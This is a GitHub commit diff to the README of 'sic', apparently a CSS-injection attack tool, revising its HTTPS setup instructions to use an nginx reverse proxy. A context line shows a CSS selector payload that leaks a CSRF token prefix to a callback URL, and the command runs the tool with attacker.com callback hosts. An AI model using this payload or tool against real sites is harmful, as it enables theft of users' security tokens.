Skip to content

Commit 27e7095

Browse files
authored
Update https instructions per nbk_2000
1 parent 0bad12e commit 27e7095

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

README.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -66,12 +66,12 @@ input[name=csrf][value^={{:token:}}] { background: url({{:callback:}}); }
6666
`sic` will automatically generate all of the payloads required for your attack and make sure it's pointing to the right callback urls.
6767

6868
### HTTPS
69-
I didn't bake official HTTPS support into the tool but made it possible to potentially use nginx as a reverse proxy. I haven't validated that this will work or not, but I don't really see a reason why it wouldn't.
69+
HTTPS is not directly support via `sic`; however, it's possible to use a tool like nginx to set up a reverse proxy in front of `sic`. An example configuration is found in the [example nginx config](/example_nginx.conf) file thoughtfully crafted up by [nbk_2000](https://twitter.com/nbk_2000).
7070

71-
Assuming you have configured nginx to forward port 3000 -> 4000 and 3001 -> 4001 then you might launch the tool as follows:
71+
After nginx is configured, you would run `sic` using a command similar to the following:
7272

7373
```
74-
./sic -p 4000 --ph "https://attacker.com:3000" --ch "https://attacker.com:3001" -t my_template_file
74+
./sic -p 3000 --ph "https://a.attacker.com" --ch "https://b.attacker.com" -t template_file
7575
```
7676

7777
Note that the ports on `--ph` and `--ch` match up with the ports nginx is serving and not `sic`.

0 commit comments

Comments
 (0)